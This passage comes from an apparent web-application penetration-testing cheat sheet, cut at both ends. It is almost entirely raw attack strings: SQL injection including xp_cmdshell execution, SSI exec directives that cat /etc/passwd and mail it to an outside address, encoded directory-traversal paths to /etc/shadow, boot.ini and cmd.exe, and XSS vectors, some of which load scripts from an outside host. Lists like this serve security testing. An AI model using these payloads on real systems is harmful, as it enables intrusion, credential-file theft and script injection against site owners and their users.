x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; 